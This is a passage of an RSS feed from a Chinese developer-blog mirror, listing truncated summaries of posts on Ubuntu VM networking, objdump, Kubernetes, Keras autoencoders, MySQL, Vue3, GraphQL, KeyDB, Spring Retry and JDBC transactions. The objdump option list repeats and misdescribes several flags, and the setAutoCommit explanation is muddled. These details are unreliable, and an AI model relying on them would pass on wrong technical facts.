      <description>💖 作者简介：大家好，我是Zeeland，开源建设者与全栈领域优质创作者。📝 CSDN主页：Zeeland🔥📣 我的博客：Zeeland📚 Github主页: Undertone0809 (Zeeland)🎉 支持我：点赞👍+收藏⭐️+留言📝💬介绍：The mixture of software dev+Iot+ml+anything🔥 Introduction 本文将介绍如何解决VM ubuntu在虚拟机找不到网卡无法上网的问题，并给出一些排查思路，旨在帮助读者快速定位问题。&#xA;最近 vm ubuntu 用的比较多，因为 ubuntu 里面要跑一个 k8s，需要比较大的内存，于是给 VM 分配了 30G 的内存，分配完内存后，发现 VM 里面的 ubuntu 无法上网了，于是就有了这篇文章。Ubuntu 网卡消失的问题我不是第一次遇到了，之前已经预见过好几次了，有的时候重启 ubuntu 就没网卡了，有时候分配完内存就没网卡了，触发机制十分奇怪，我至今也没搞懂。之前各种遇到这个问题之后每次的处理方案都不一样，有点头疼，正好很久没写文章了，趁此机会好好总结一下问题。&#xA;Problem 在此，重新描述一下问题：VM ubuntu 无法上网，这是问题的表征，问题的本质是 VM ubuntu 找不到对应的网卡，从而导致无法上网。&#xA;网络环境：&#xA;VM ubuntu 22.04 LTS宿主机： windows 11内存分配： 30G网络连接： NAT 在我实践中，该问题的发生有两种原因：&#xA;给 VM Ubuntu 分配的内存大小发生改变时，可能会触发该问题VM Ubuntu 重启时，可能会触发该问题 Solution 该问题的解决方式比较多样，因为每个人的发生问题不唯一，因此下面将从最简单的解法开始介绍，读者可以根据自己的情况，逐步尝试，直到解决问题为止。&#xA;方法一 遇事不决先重启，重启电脑重启 VM，接着再进行下一步的排查。&#xA;在这个问题下，可以再尝试重启一下 Ubuntu 的 network-manager 服务，命令如下：&#xA;sudo service network-manager stop sudo rm /var/lib/NetworkManager/NetworkManager.</description>
    </item>
    <item>
      <title>shell之objdump命令</title>
      <link>https://bchobby.github.io/posts/263074691478477857cc9e71a63c8142/</link>
      <pubDate>Thu, 28 Dec 2023 10:26:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/263074691478477857cc9e71a63c8142/</guid>
      <description>shell之objdump命令 参数介绍例子 参数介绍 objdump 是一个在 Linux 中常用的工具，用于显示二进制文件（如可执行文件、目标文件和共享库）的详细信息。它可以提供关于二进制文件中的各种段、符号、机器指令等的详细信息。&#xA;以下是 objdump 的一些主要选项和用途：&#xA;-h: 显示二进制文件的各节头部信息。&#xA;-p: 显示二进制文件的段属性。&#xA;-x: 显示二进制文件的完整头部信息，包括节头部、段属性、符号表等。&#xA;-d: 反汇编二进制文件中的所有代码段。&#xA;-D: 与 -d 类似，但显示反汇编的格式更详细。&#xA;-r: 显示二进制文件的重定位表。&#xA;-s: 显示二进制文件的数据段。&#xA;-T: 显示二进制文件的动态节。&#xA;-p: 显示二进制文件的属性。&#xA;-t: 显示二进制文件的符号表。&#xA;-R: 显示二进制文件的运行时链接信息。&#xA;-x: 显示二进制文件的完整头部信息，包括符号表、段属性等。&#xA;-i: 显示二进制文件的 inode 信息（仅适用于 ELF 格式）。&#xA;-j : 只显示指定节的反汇编内容。 –section-headers: 等同于 -h。 –program-headers: 等同于 -p。 –headers: 等同于 -h -p -x。 –relocations: 等同于 -r。 –symbols: 等同于 -t。 –dynamic: 等同于 -T。 –full-contents: 等同于 -d -D -p -r -s -t -T。 –line-numbers: 在反汇编中包含行号信息（通常用于调试）。 –disassemble-all: 反汇编所有代码段，而不仅仅是那些包含符号的段。 –disassemble-zeroes: 反汇编所有包含零的代码段（通常用于调试）。 –add-gnu-debuglink: 为给定的二进制文件添加一个 GNU 调试链接，允许使用 gdb 进行调试。 –source 或 -S: 在反汇编中显示源代码级别的信息（需要调试信息）。 例子 1）显示二进制文件的各节头部信息</description>
    </item>
    <item>
      <title>Kubernetes 学习总结（41）—— 云原生容器网络详解</title>
      <link>https://bchobby.github.io/posts/52c70294e5d9d9ce33a9116451b2d1a0/</link>
      <pubDate>Thu, 28 Dec 2023 10:25:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52c70294e5d9d9ce33a9116451b2d1a0/</guid>
      <description>背景 随着网络技术的发展，网络的虚拟化程度越来越高，特别是云原生网络，叠加了物理网络、虚机网络和容器网络，数据包在网络 OSI 七层网络模型、TCP/IP 五层网络模型的不同网络层进行封包、转发和解包。网络数据包跨主机网络、容器网络、虚机网络和物理网络到达对端，期间必然带来网络性能损耗。&#xA;场景 （1）低延时交易场景 证券交易系统具有交易时间相对集中、交易指令和数据密集的特点，对交易系统处理速度具有极高的要求。近年来，全球各大交易所都在不断对交易系统升级改造，其中“低时延”成为各大交易所竞争的核心，交易系统延时竞争已经进入微秒量级。用户通过客户端委托交易下单经过交易所外的交易软件、主机网络和物理网络，进入交易所内软硬件网络撮合交易，然后将委托回报和成交回报通过反向网络数据链路发送给用户。&#xA;（2）视频和云游戏等流媒体场景 在多媒体领域，直播流媒体、在线视频和云游戏等场景都存在对网络性能、传输速度有极高的要求。单纯从软件或者操作系统虚拟化出来的网络设备，无法达到网络收发处理、转发和传输的性能要求，以及保证低丢包率和低时延。&#xA;（3）流量隔离场景 在银行、证券、保险等金融行业，因金融政策、监管政策的要求，需要实现对管理流量、存储流量和业务流量进行隔离，做到网络运维管理，数据存储、数据备份和数据交互同步与业务流量分离，保障数据交互同步与正常网络访问的相互隔离，提高网络并发能力和降低网络延迟。&#xA;以上应用场景，无法通过单纯的应用网络、主机网络和硬件网络来解决微妙级低延时要求。如何提升云原生时代整体网络性能，降低网络时延呢？我们可以从传统网络和容器网络路径分析哪些可以优化的点或片段，针对这些点或片段提供可行的容器网络加速方案。&#xA;术语 CNI：Container Network Interface，容器运行时和网络实现之间的容器网络 API 接口。&#xA;IPAM：专门用于管理容器的IP地址管理，包含对容器分配 IP 地址、网关、路由和 DNS 等管理。&#xA;SR-IOV：Single Root I/O Virtualization，单根虚拟化，允许在虚拟机之间高效共享 PCIe 设备。&#xA;PF：Physical Function，包含 SR-IOV 功能结构主要用于 SR-IOV 功能管理。PF 通过分配 VF 来配置和管理 SR-IOV 功能。&#xA;VF：Virtual Function，轻量级 PCIE 功能（I/O 处理）的 PCIE 设备，每个VF 都是通过 PF 来生成管理，VF 的具体数量限制受限于 PCIE 设备、自身配置和驱动程序的支持。&#xA;RDMA：Remote Direct Memory Access，远程直接内存访问，将网络协议栈下沉到网卡硬件，网卡硬件收发包并进行协议栈封装和解析，然后将数据存放到指定内存地址，而不需要 CPU 干预。&#xA;DPDK：Data Plane Development Kit，数据平面开发套件，工作在用户态用于快速数据包处理，使用轮询 Polling 来处理数据包。&#xA;VPP：Vector Packet Processing，矢量数据包处理，工作在用户态的高性能数据包处理协议栈。通常与 DPDK 结合使用，提供多种收发数据包、交换和路由能力。</description>
    </item>
    <item>
      <title>堆叠降噪自动编码机</title>
      <link>https://bchobby.github.io/posts/cbbcd8e270b4140e58605282cc9dc9dd/</link>
      <pubDate>Thu, 28 Dec 2023 10:18:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbbcd8e270b4140e58605282cc9dc9dd/</guid>
      <description>在机器学习中，堆叠降噪自动编码器（Stacked Denoising Autoencoder，SDAE）是一种用于特征学习和降维的深度学习模型。自动编码器是一类无监督学习模型，用于学习输入数据的紧凑表示。降噪自动编码器（Denoising Autoencoder）是自动编码器的一种变体，通过在输入中引入噪声来提高模型的鲁棒性和泛化能力。&#xA;堆叠降噪自动编码器通常由多个降噪自动编码器层叠在一起构成，每一层都逐步学习数据的更高级别的抽象表示。这些层的输出可以被用作输入来训练下一层。整个模型形成了一个深度神经网络，可以用于学习数据的分层表示，有助于捕捉数据中的复杂结构和特征。&#xA;以下是一个简单的使用Keras库实现的堆叠降噪自动编码器的示例代码：&#xA;from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Dropout def create_denoising_autoencoder(input_dim, hidden_dim): model = Sequential() # Encoder model.add(Dense(hidden_dim, input_dim=input_dim, activation=&#39;relu&#39;)) # Dropout layer for denoising model.add(Dropout(0.2)) # Decoder model.add(Dense(input_dim, activation=&#39;sigmoid&#39;)) model.compile(optimizer=&#39;adam&#39;, loss=&#39;mean_squared_error&#39;) return model def create_stacked_denoising_autoencoder(input_dim, hidden_dims): model = Sequential() # Stack of denoising autoencoders for hidden_dim in hidden_dims: autoencoder = create_denoising_autoencoder(input_dim, hidden_dim) model.add(autoencoder) model.compile(optimizer=&#39;adam&#39;, loss=&#39;mean_squared_error&#39;) return model # 示例数据维度 input_dim = 50 # 堆叠降噪自动编码器的隐藏层维度 hidden_dims = [30, 20, 10] # 创建堆叠降噪自动编码器模型 stacked_dae = create_stacked_denoising_autoencoder(input_dim, hidden_dims) # 打印模型结构 stacked_dae.</description>
    </item>
    <item>
      <title>Echarts tooltip文字没有左对齐</title>
      <link>https://bchobby.github.io/posts/840211a342c19a5e0a9a9b723a5eab6b/</link>
      <pubDate>Thu, 28 Dec 2023 10:18:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/840211a342c19a5e0a9a9b723a5eab6b/</guid>
      <description>tooltip : { trigger: &#39;axis&#39;, textStyle:{ align:&#39;left&#39; // 文字左对齐 } } 解决办法：tooltip加入如下代码。&#xA;textStyle:{&#xA;align:&#39;left&#39;&#xA;}</description>
    </item>
    <item>
      <title>今天学习的是mysql-算术运算符 比较符 逻辑运算符 位运算符 mysql函数</title>
      <link>https://bchobby.github.io/posts/8019dbbe76335350e7551d08efb609d5/</link>
      <pubDate>Thu, 28 Dec 2023 10:12:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8019dbbe76335350e7551d08efb609d5/</guid>
      <description>算术运算符 + - * / %&#xA;比较运算符 ： = &amp;lt; &amp;gt; isnull 区间 between and 等其他where后的条件均可&#xA;逻辑运算符：&amp;amp;&amp;amp;（and） ||（or） ！&#xA;位运算符： 比如说是十进制转二进制 24 的二进制是多少 是11000怎么运算的呢&#xA;64 32 16 8 4 2 1&#xA;24还剩8 8-8为0&#xA;1 1 0 0 0&#xA;这样就算出了24的二进制&#xA;mysql函数：&#xA;数学函数：比如 随机数 abs（值） 绝对值 PI（） 求圆周率&#xA;ceil 向上取整&#xA;cloor 向下取整&#xA;round 四舍五入 可跟位数 结果&#xA;rand（x） 随机数 不写值就是随机 x代表参数 参数一致 生成随机值&#xA;字符串函数 char_length&#xA;拼接&#xA;concat(直接拼接)&#xA;concat_ws（分割符，拼接）&#xA;大小写转换&#xA;upper（大写）&#xA;lower （小写）</description>
    </item>
    <item>
      <title>使用Vue3开发学生管理系统模板1</title>
      <link>https://bchobby.github.io/posts/74cd988707c846d77a97c32f31199475/</link>
      <pubDate>Thu, 28 Dec 2023 10:09:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74cd988707c846d77a97c32f31199475/</guid>
      <description>环境搭建 通过解压之前《Vue3开发后台管理系统模板》的代码，我们能够得到用户增删改查的页面，我们基于用户增删改查的页面做进一步的优化。&#xA;创建学生增删改查页面 第一步：复制用户增删改查页面，重命名为StudentCRUD.vue&#xA;&amp;lt;script setup&amp;gt; import {FilterMatchMode} from &#39;primevue/api&#39;; import {ref, onBeforeMount} from &#39;vue&#39;; import {useToast} from &#39;primevue/usetoast&#39;; import users from &#34;@/assets/data/user.json&#34; // 用户 const user = ref({ id: 0, name: &#34;&#34;, age: 0, }) const toast = useToast(); const userDialog = ref(false); // 用户弹窗是否显示 const deleteUserDialog = ref(false); // 确认删除用户弹窗是否显示 const deleteUsersDialog = ref(false); // 批量删除用户弹窗是否显示 const selectedUsers = ref(null); const dt = ref(null); const filters = ref({}); const submitted = ref(false); onBeforeMount(() =&amp;gt; { initFilters(); }); /** * 打开新增用户的弹窗 */ function openNew() { user.</description>
    </item>
    <item>
      <title>Ubuntu安装K8S(1.28版本，基于containrd）</title>
      <link>https://bchobby.github.io/posts/c489c552473ea659e900d963486757b9/</link>
      <pubDate>Thu, 28 Dec 2023 10:07:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c489c552473ea659e900d963486757b9/</guid>
      <description>原文网址：Ubuntu安装K8S(1.28版本，基于containrd）-CSDN博客&#xA;简介 本文介绍Ubuntu安装K8S的方法。&#xA;官网文档：这里&#xA;1.安装K8S 1.让apt支持SSL传输&#xA;sudo apt-get update sudo apt-get -y install apt-transport-https ca-certificates 2.下载 gpg 密钥&#xA;curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | sudo apt-key add - 3.添加 k8s 镜像源&#xA;创建/etc/apt/sources.list.d/kubernetes.list文件，并添加阿里的K8S源。&#xA;sudo touch /etc/apt/sources.list.d/kubernetes.list sudo vi /etc/apt/sources.list.d/kubernetes.list 添加的内容如下：&#xA;deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main 4.安装k8s&#xA;sudo apt-get update sudo apt-get install -y kubelet kubeadm kubectl kubeadm用于初始化环境，kubectl用于操作kubelet。 5.启动k8s&#xA;启动k8s&#xA;sudo systemctl start kubelet 设置开机启动&#xA;sudo systemctl enable kubelet 6.命令自动补全&#xA;这几个命令没有自动补全，用起来不方便。启用自动补全的方法见：这里&#xA;2.配置K8S环境 执行命令时有时候会报下边错误，不用管它。报错原因：去k8s官网查看发布版列表，但是国内访问不了这个网站，连不上；此时会自动使用本地客户端的版本，本处是：1.28.2。&#xA;1.禁用防火墙和swap 这两步必须操作！不然k8s无法正常运行。</description>
    </item>
    <item>
      <title>Spring Boot整合GraphQL</title>
      <link>https://bchobby.github.io/posts/1a4521f289f69e5cc0980c9351772004/</link>
      <pubDate>Thu, 28 Dec 2023 10:05:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a4521f289f69e5cc0980c9351772004/</guid>
      <description>RPC选型入门测试系列文章&#xA;GraphQL是一种用于API开发的查询语言和运行时环境。它由Facebook开发并于2015年开源。GraphQL的主要目标是提供一种更高效、灵活和易于使用的方式来获取和操作数据。与传统的RESTful API相比，GraphQL允许客户端精确地指定需要的数据，并减少了不必要的网络传输和数据处理。&#xA;采用GraphQL，甚至不需要有任何的接口文档，在定义了Schema之后，服务端实现Schema，客户端可以查看Schema，然后构建出自己需要的查询请求来获得自己需要的数据。&#xA;1、数据类型 1.1、标量类型 Int －32位整型数字；Float－双精度浮点型；String－UTF‐8 字符序列；Boolean－布尔型，true 或者 false；ID－标识类型，唯一标识符，注意此ID为字符，如果使用Mysql自增长id，也会自动转为对应的字符串； 1.2. 高级数据类型 Object － 对象，用于描述层级或者树形数据结构。Object类型有一个类型名，以及类型包含的字段。 type Product { id: ID! info: String! price: Float } 12345 在此示例中，声明了Product对象类型，定义了3 个字段：&#xA;id：非空 ID 类型。&#xA;info：非空字符串类型。&#xA;price：浮点型。&#xA;Interface－接口，用于描述多个类型的通用字；与 Object一样。 interface Product { id: ID! info: String! price: Float } 12345 Union－联合类型，用于描述某个字段能够支持的所有返回类型以及具体请求真正的返回类型；Enum－枚举，用于表示可枚举数据结构的类型； enum Status { Yes No } type Product { id: ID! info: String! price: Float stat: Status } 12345678910 Input－输入类型input本质上也是一个type类型，是作为Mutation接口的输入参数。换言之，想要定义一个修改接口(add,update,delete)的输入参数对象，就必须定义一个input输入类型。 input BookInput { isbn: ID!</description>
    </item>
    <item>
      <title>Redis Plus 来了，性能炸裂！</title>
      <link>https://bchobby.github.io/posts/597268a05f9b0fb7b5cd5addad43c016/</link>
      <pubDate>Thu, 28 Dec 2023 10:00:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/597268a05f9b0fb7b5cd5addad43c016/</guid>
      <description>点击关注公众号，Java干货及时送达👇 来源：suo.im/4Cx7u&#xA;线程模型&#xA;链接管理&#xA;锁机制&#xA;Active-Replica&#xA;今天给大家介绍的是KeyDB，KeyDB项目是从redis fork出来的分支。众所周知redis是一个单线程的kv内存存储系统，而KeyDB在100%兼容redis API的情况下将redis改造成多线程。&#xA;上次也跟大家说了，项目地址是 https://github.com/EQ-Alpha/KeyDB&#xA;线程模型 KeyDB将redis原来的主线程拆分成了主线程和worker线程。每个worker线程都是io线程，负责监听端口，accept请求，读取数据和解析协议。如图所示：&#xA;图片 KeyDB使用了SO_REUSEPORT特性，多个线程可以绑定监听同个端口。&#xA;每个worker线程做了cpu绑核，读取数据也使用了SO_INCOMING_CPU特性，指定cpu接收数据。&#xA;解析协议之后每个线程都会去操作内存中的数据，由一把全局锁来控制多线程访问内存数据。&#xA;主线程其实也是一个worker线程，包括了worker线程的工作内容，同时也包括只有主线程才可以完成的工作内容。在worker线程数组中下标为0的就是主线程。&#xA;主线程的主要工作在实现serverCron，包括：&#xA;处理统计&#xA;客户端链接管理&#xA;db数据的resize和reshard&#xA;处理aof&#xA;replication主备同步&#xA;cluster模式下的任务&#xA;链接管理 在redis中所有链接管理都是在一个线程中完成的。在KeyDB的设计中，每个worker线程负责一组链接，所有的链接插入到本线程的链接列表中维护。链接的产生、工作、销毁必须在同个线程中。每个链接新增一个字段&#xA;int iel; /* the event loop index we&#39;re registered with */ 用来表示链接属于哪个线程接管。&#xA;KeyDB维护了三个关键的数据结构做链接管理：&#xA;clients_pending_write：线程专属的链表，维护同步给客户链接发送数据的队列&#xA;clients_pending_asyncwrite：线程专属的链表，维护异步给客户链接发送数据的队列&#xA;clients_to_close：全局链表，维护需要异步关闭的客户链接&#xA;分成同步和异步两个队列，是因为redis有些联动api，比如pub/sub，pub之后需要给sub的客户端发送消息，pub执行的线程和sub的客户端所在线程不是同一个线程，为了处理这种情况，KeyDB将需要给非本线程的客户端发送数据维护在异步队列中。&#xA;同步发送的逻辑比较简单，都是在本线程中完成，以下图来说明如何同步给客户端发送数据：&#xA;图片 如上文所提到的，一个链接的创建、接收数据、发送数据、释放链接都必须在同个线程执行。异步发送涉及到两个线程之间的交互。KeyDB通过管道在两个线程中传递消息：&#xA;int fdCmdWrite; //写管道 int fdCmdRead; //读管道 本地线程需要异步发送数据时，先检查client是否属于本地线程，非本地线程获取到client专属的线程ID，之后给专属的线程管到发送AE_ASYNC_OP::CreateFileEvent的操作，要求添加写socket事件。专属线程在处理管道消息时将对应的请求添加到写事件中，如图所示：&#xA;图片 redis有些关闭客户端的请求并非完全是在链接所在的线程执行关闭，所以在这里维护了一个全局的异步关闭链表。&#xA;图片 锁机制 KeyDB实现了一套类似spinlock的锁机制，称之为fastlock。&#xA;fastlock的主要数据结构有：&#xA;int fdCmdWrite; //写管道 int fdCmdRead; //读管道 使用原子操作__atomic_load_2，__atomic_fetch_add，__atomic_compare_exchange来通过比较m_active=m_avail判断是否可以获取锁。&#xA;fastlock提供了两种获取锁的方式：&#xA;try_lock：一次获取失败，直接返回</description>
    </item>
    <item>
      <title>如何在SpringBoot中优雅地重试调用第三方API？</title>
      <link>https://bchobby.github.io/posts/9bedd22a3080b212ae9ca7e1bfb7e880/</link>
      <pubDate>Thu, 28 Dec 2023 10:00:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bedd22a3080b212ae9ca7e1bfb7e880/</guid>
      <description>点击关注公众号，Java干货及时送达👇&#xA;1引言 在实际的应用中，我们经常需要调用第三方API来获取数据或执行某些操作。然而，由于网络不稳定、第三方服务异常等原因，API调用可能会失败。为了提高系统的稳定性和可靠性，我们通常会考虑实现重试机制。&#xA;本文将深入探讨如何在Spring Boot项目中优雅地重试调用第三方API，并结合代码示例，展示具体实现方式。&#xA;2重试机制的必要性 第三方API调用可能面临各种不可预测的问题，如网络超时、服务器故障等。为了应对这些问题，引入重试机制可以帮助我们：&#xA;提高系统的稳定性： 在面对临时性故障时，通过重试机制可以减轻对系统的影响，确保服务的可用性。&#xA;降低因故障而导致的用户体验差： 用户可能无法感知到一次短暂的故障，而重试机制可以在不干扰用户操作的情况下自动修复问题。&#xA;3Spring Retry简介 Spring Retry是Spring框架提供的一个模块，它通过提供注解或编程方式的方式，帮助我们实现方法级别的重试机制。在Spring Boot中，可以很方便地集成并使用Spring Retry。&#xA;4Spring Boot中使用Spring Retry实现重试 4.1 添加依赖 首先，我们需要在pom.xml中添加Spring Retry的依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.retry&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-retry&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 4.2 配置重试策略 在Spring Boot中，我们可以使用@Retryable注解来标记希望重试的方法，并配置相应的重试策略。&#xA;4.2.1 代码示例 import org.springframework.retry.annotation.Backoff; import org.springframework.retry.annotation.Retryable; @Service public class ThirdPartyService { @Retryable( value = { RestClientException.class }, maxAttempts = 3, backoff = @Backoff(delay = 1000, multiplier = 2) ) public String callThirdPartyApi() { // 调用第三方API的逻辑 // ... } } 在上述示例中，@Retryable注解标记了callThirdPartyApi方法，指定了当发生RestClientException异常时进行重试。maxAttempts指定最大重试次数，backoff指定了重试间隔的初始延迟和延迟倍数。</description>
    </item>
    <item>
      <title>微服务全做错了！谷歌提出新方法，成本直接降9倍！</title>
      <link>https://bchobby.github.io/posts/717ee71f54d570a99e33faf09edc0d4a/</link>
      <pubDate>Thu, 28 Dec 2023 09:58:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/717ee71f54d570a99e33faf09edc0d4a/</guid>
      <description>2023，微服务“水逆”之年。&#xA;长期以来，不管大厂还是小厂，微服务都被认为是云原生服务应用程序架构的事实标准，然而2023，不止那位37signals的DHH决心下云，放弃微服务，就连亚马逊和谷歌等这些云巨头，正在带头开始革了微服务的命。&#xA;“在编写分布式应用程序时，传统观点认为将应用程序拆分为可以独立推出的独立服务。这种方法的初衷是好的，但像这样基于微服务的体系结构往往会适得其反，带来的挑战抵消了体系结构试图实现的好处。”&#xA;今年6月，一群谷歌员工（由谷歌软件工程师Michael Whittaker领导）发表了一篇名为“Towards Modern Development of Cloud Applications”的论文，开篇就对当下的微服务架构开怼。&#xA;文章认为，从架构上讲，微服务本身设置就有问题，它是一个没有边界的结构：“从根本上说，这是因为微服务将逻辑边界（如何编写代码）与物理边界（如何部署代码）混为一谈。”&#xA;因此，谷歌的工程师们提出了一种堪称“微服务2.0”的方法。将应用程序构建为逻辑整体，但将其交给自动化运行时，后者可以根据应用程序所需的内容和可用的内容来决定在哪里运行工作负载。&#xA;基于新提出的结构，他们能够将系统的延迟降低15倍，成本降低9倍。&#xA;“从有组织的模块化代码开始，我们就可以将部署架构作为实现细节，”Google开发人员倡导者Kelsey Hightower在10月份对这项工作表示了下一步计划。&#xA;这群谷歌开发者们发现了将应用程序拆分为独立部署的服务方法缺点太明显，并给出了非常有创新性的3条原则：&#xA;（1）鼓励开发人员编写分为逻辑组件的单片应用程序（2）将物理分布和执行模块化单片的挑战推迟到运行时（3）原子部署应用程序。&#xA;这三个指导原则带来了许多好处，并会为未来的开发创新打开大门。&#xA;无独有偶，同样是在6月，亚马逊流媒体平台 Prime Video发布的一则案例研究似乎改变了风向：“我们放弃了无服务器、微服务架构，改用单体架构取而代之，此举为客户节省90%的运营成本，还简化了系统复杂度”。&#xA;单体应用对微服务的“反戈一击”，还是亚马逊团队提出来的，再次让这个话题迅速引爆技术圈。&#xA;整个案例看下来，微服务跟降本增效似乎也扯不到一起去。问题出在哪里？&#xA;Prime Video 团队需要一个监控视频流质量问题的工具，由于视频数量太大，就要求该工具有很强的可扩展性。&#xA;最初这项工作是由一组分布式组件完成的，这些组件由AWS Step Functions（一种无服务器编排服务，AWS Lambda无服务器服务）编排，分分钟就能搭出一个有模有样的监控系统。但谁能想到，Step Function 伸缩问题竟然成为最大的绊脚石。&#xA;具体来看，一是对于视频流的每一秒，需要很多并发的 AWS Step Function，所以很快就达到了账户限制；二是 AWS Step Function 是按照状态转换向用户收费的，太贵了实在用不起。&#xA;无奈之下，Prime Video开始考虑用单体的解决方案以降低成本和增加应用的扩展能力，在经历了反复试验后，团队最终决定重建Prime Video的整个基础设施。&#xA;亚马逊在博客文章总结道：“微服务和无服务器组件是可以大规模工作的工具，但是否在整体上使用它们必须根据具体情况而定……将服务迁移成单体让我们的基础设施成本降低了 90%以上，还提升了我们的伸缩能力。”&#xA;这就说明，至少在视频监控领域，单体架构比微服务、无服务器主导的方法产生了更高的性能、更能降本增效。&#xA;始终鼓吹下云和反对微服务化的DHH（ Ruby on Rails创始人，David Heinemeier Hansson）一针见血地指出：连亚马逊自个都觉得微服务或无服务器“扯淡”了。&#xA;最近几年，无数的中小团队在权衡利弊后选择放弃微服务。&#xA;Uber 就是其中一家，此前 Uber 通过构建微服务来完成很小的需求或功能，甚至出现很多由一个人构建维护的微服务。这些微服务的存在给Uber带来了更多的挑战，比如监控、测试、持续集成 / 持续交付（CI/CD）、服务级别协议（SLA）等。&#xA;踩了微服务的“坑”之后，Uber 团队对新服务进行了更加深思熟虑的规划：不再只是完成一件事，而是使其服务于一项业务功能，由 5-10 个工程师负责维护，还总结出了血泪教训：要在正确的时间选择正确的解决方案来构建产品。&#xA;办公管理软件公司 Managed by Q 的应用程序是一个部署在 ECS 上的 Django 单体。为了赶上现代化开发实践的步伐，他们转向微服务架构。但他们很快发现，每多一个新服务，就会增加一些基础设施，而且开发一个跨多个服务的功能需要做更多的工作。</description>
    </item>
    <item>
      <title>conn.setAutoCommit()实现事务的控制用法及作用</title>
      <link>https://bchobby.github.io/posts/c969d0ea8151abc4340c55a5bc291fb6/</link>
      <pubDate>Thu, 28 Dec 2023 09:57:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c969d0ea8151abc4340c55a5bc291fb6/</guid>
      <description>事务操作数据： 1.为什么要引入事务 假如银行转账系统&#xA;从张三的账户转1000元到小罗的账户&#xA;这个操作需要分两步&#xA;1.张三账户减少1000元&#xA;2.小罗账户增加1000元&#xA;假如于到断电等等，而刚好张三减了1000，而此时小罗却不增加。。。。可以想象银行这下有事做了&#xA;所以使用事务操作数据来搞定&#xA;2.实现事务的原理 java使用事务非常简单，首先调用conn.setAutoCommit(boolean b)方法，传入一个false,这样将不会自动提交，而需要使用conn.commit()方法，手动提交事务，当然只有在确认两个步骤都没有出错的情况下，才能提交，这样才能保证整个操作的完整性，一旦出错，使用conn.rollback()方法，回滚事务，这样的话，整个事务都将不被提交。那么如何判断有没有出错呢，非常简单，执行数据库操作的方法，都会抛出java.sql.SQLException，所以需要使用try……catch语句块捕获异常，在catch块中，使用conn.rollback()回滚事务即可&#xA;在数据库调用的javabean中conn.setAutoCommit()的功能是每执行一条SQL语句，就作为一次事务提交。但一般在项目中很有可能需要执行多条SQL语句作为一个事务。若有一个执行不成功，就会rollback（）；&#xA;一般来讲，大家对数据库中的表单，主要是增、删、改、查 这四个操作，如果你的程序当中，遇到一次业务逻辑需要两次或两次以上的对相同数据表的增删改操作，那么，为了数据的一致性，（或者具体说，在你的一次业务逻辑的处理过程中，其他(线程或程序或业务处理)的对相同数据的相同两次查询所得结果相同。）我们会利用数据库的事务操作，将一次业务逻辑所包含的所有操作封装在一个事务里，一次将多个操作进行提交。&#xA;而conn的setAutoCommit方法，是指，在事务当中，是否执行一条语句就自动提交一次。&#xA;想在一个事务里进行多个操作。就必然将setAutoCommit的参数设置成false，在多个操作的最后调用conn.commit()方法，进行手动提交&#xA;3.参数:true和false 假设如下：&#xA;1 数据库一个表格有50条记录&#xA;2 你设置参数为false&#xA;则在你执行整个查询SQL期间，一直是没有事务的，那么如果你的查询用到了一些函数，这些函数包含了多个查询语句，那么有可能会出现不一致的情况。&#xA;也就是说，函数、存储过程等，他们都将运行在非事务的环境下。&#xA;而你设置为true,则没有任何问题了,读一致性将保证不会出现问题。</description>
    </item>
    <item>
      <title>Python Selenium实现自动化测试及Chrome驱动使用详解</title>
      <link>https://bchobby.github.io/posts/c5c64380448a77610a8d4912e40fa588/</link>
      <pubDate>Thu, 28 Dec 2023 09:50:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5c64380448a77610a8d4912e40fa588/</guid>
      <description>概要 本文将介绍如何使用Python Selenium库实现自动化测试，并详细记录了Chrome驱动的使用方法。&#xA;通过本文的指导，读者将能够快速上手使用Python Selenium进行自动化测试。并了解如何配置和&#xA;使用Chrome驱动来实现更高效的自动化测试。&#xA;一、Python Selenium简介 Python Selenium是一个用于Web应用程序测试的开源工具，它提供了一组API。&#xA;可以模拟用户在浏览器中的操作，如点击、输入、提交表单等。&#xA;通过Python Selenium，我们可以编写自动化脚本来执行各种测试任务，从而提高测试效率和准确性。&#xA;二、安装Python Selenium库 在开始之前，我们需要先安装Python Selenium库。&#xA;可以通过以下命令来安装：&#xA;pip install selenium 三、Chrome驱动的下载和配置 1. 下载Chrome驱动 首先，我们需要下载Chrome驱动，Chrome驱动的版本需要与本地Chrome浏览器的版本保持一致。&#xA;可以通过以下链接下载对应版本的Chrome驱动：&#xA;https://googlechromelabs.github.io/chrome-for-testing/#stable 2. 配置Chrome驱动路径 下载完成后，将Chrome驱动解压到一个合适的位置，并将其路径添加到系统环境变量中，以便Python能够找到它。&#xA;四、编写自动化测试脚本 下面是一个简单的示例，演示了如何使用Python Selenium来自动化测试一个网页的登录功能：&#xA;from selenium import webdriver from selenium.webdriver.common.keys import Keys # 创建Chrome驱动对象 driver = webdriver.Chrome() # 打开网页 driver.get(&#34;https://www.example.com&#34;) # 找到用户名和密码输入框，并输入相应的值 username_input = driver.find_element_by_name(&#34;username&#34;) username_input.send_keys(&#34;your_username&#34;) password_input = driver.find_element_by_name(&#34;password&#34;) password_input.send_keys(&#34;your_password&#34;) # 提交表单 password_input.send_keys(Keys.RETURN) # 验证登录是否成功 assert &#34;Welcome&#34; in driver.page_source # 关闭浏览器 driver.</description>
    </item>
    <item>
      <title>catboost回归自动调参</title>
      <link>https://bchobby.github.io/posts/1148d8a2fc344faa9614708803929d9b/</link>
      <pubDate>Thu, 28 Dec 2023 09:47:46 +0800</pubDate>
